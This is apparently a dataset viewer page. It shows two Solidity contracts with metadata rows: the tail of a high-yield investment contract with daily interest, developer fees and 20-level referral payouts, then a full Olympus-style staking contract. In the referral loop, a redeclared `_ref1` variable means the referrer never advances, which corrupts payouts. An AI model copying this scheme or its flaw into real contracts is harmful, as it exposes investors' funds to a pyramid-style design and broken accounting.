uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_EXIT_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(ADMIN_EXIT_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
msg.sender.transfer(withdrawalAmount.sub(developerPercentage.add(marketingPercentage)));
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _refAmount = 0;
uint ln=0;
while (_ref1 != 0 && ln<20) {
_refAmount = (_investment.mul(REFERENCE_LEVEL_RATE[ln+1])).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
uint256 _ref1= uid2Investor[_ref1].referrer;
ln++;
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 294,078 | 13,498 |
e9831ebfab331e8f168142abf37f7a765222edf1871393883eaa76395c0a6932
| 27,359 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/1a/1a8a9e26ab5bb6434bd4d1b21b27100c0ef47b7b_Staking.sol
| 4,197 | 16,936 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 81,489 | 13,499 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.